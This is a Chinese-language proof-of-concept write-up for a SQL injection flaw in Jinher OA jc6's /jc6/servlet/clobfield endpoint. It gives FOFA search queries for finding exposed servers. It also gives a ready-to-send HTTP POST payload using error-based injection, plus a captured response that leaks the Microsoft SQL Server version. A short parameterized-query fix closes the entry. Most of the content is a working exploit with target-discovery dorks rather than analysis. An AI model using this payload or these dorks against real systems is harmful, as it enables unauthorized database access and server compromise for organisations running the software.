

J1-17金和-OA-SQL

漏洞描述：

金和 OA jc6 /jc6/servlet/clobfield接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本：

- 金和 OA

网络测绘：

fofa语法：

title="金和协同管理平台" || body="js/PasswordCommon.js" || body="js/PasswordNew.js" || body="Jinher Network" || (body="c6/Jhsoft.Web.login" && body="CloseWindowNoAsk") || header="Path=jc6" || (body="JC6金和协同管理平台" && body="src="/jc6/platform") || body="window.location = '\\JHSoft.MobileApp/Default.html';" || banner="Path=jc6"

漏洞复现：

payload:

```
POST /jc6/servlet/clobfield HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded

key=readClob&sImgname=filename&sTablename=FC_ATTACH&sKeyname=djbh&sKeyvalue=11'/**/and/**/CONVERT(int,@@version)=1/**/and/**/'=|
```

效果图:

查询数据库版本

Request

< > 数据包扫描 热加载 构造请求

1 POST /jc6/servlet/clobfield HTTP/1.1

2 Host :

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4 Content-Type: application/x-www-form-urlencoded

5

6 key=readClob&sImgname=filename&sTablename=FC_ATTACH&sKeyname=djbh&sKeyvalue=11'/**/and/**/CONVERT(int,@@version)=1/**/and/**/'=|

Responses 263bytes / 323ms

1 HTTP/1.1 200 OK

2 Server: nginx/1.21.1

3 Date: Mon, 18 Dec 2023 16:49:57 GMT

4 Content-Type: text/html; charset=utf-8

5 Connection: keep-alive

6 Access-Control-Allow-Origin: *

7 Access-Control-Allow-Methods: POST,GET,OP

8 Access-Control-Allow-Headers: ticket,sign

9 Content-Length: 263

10

11 在将nvarchar值'Microsoft SQL Server 2008'转换为数据类型'int'时失败。

12 + Feb 10 2012 19:39:15

13 + Copyright (c) Microsoft Corporation

14 + Developer Edition (64-bit) on Windows (Hypervisor)

15

修复建议：

立即更新金和OA jc6的/jc6/servlet/clobfield接口，使用参数化查询来防止SQL注入，确保数据验证和最小权限原则得到执行。